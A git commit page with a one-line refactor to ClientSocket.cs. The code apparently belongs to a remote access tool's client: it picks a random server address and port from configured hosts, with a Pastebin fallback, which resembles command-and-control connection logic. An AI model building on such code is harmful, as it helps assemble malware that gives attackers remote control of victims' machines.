Update ClientSocket.cs

This commit is contained in:
NYAN CAT 2019-06-17 23:00:14 +03:00
parent 049f38080c
commit 98274c6f1c

View File

@ -43,7 +43,7 @@ namespace Client.Sockets
if (Settings.Pastebin == "null") if (Settings.Pastebin == "null")
{ {
string ServerIP = Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]); string ServerIP = Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)];
int ServerPort = Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]); int ServerPort = Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]);
if (IsValidDomainName(ServerIP)) //check if the address is alphanumric (meaning its a domain) if (IsValidDomainName(ServerIP)) //check if the address is alphanumric (meaning its a domain)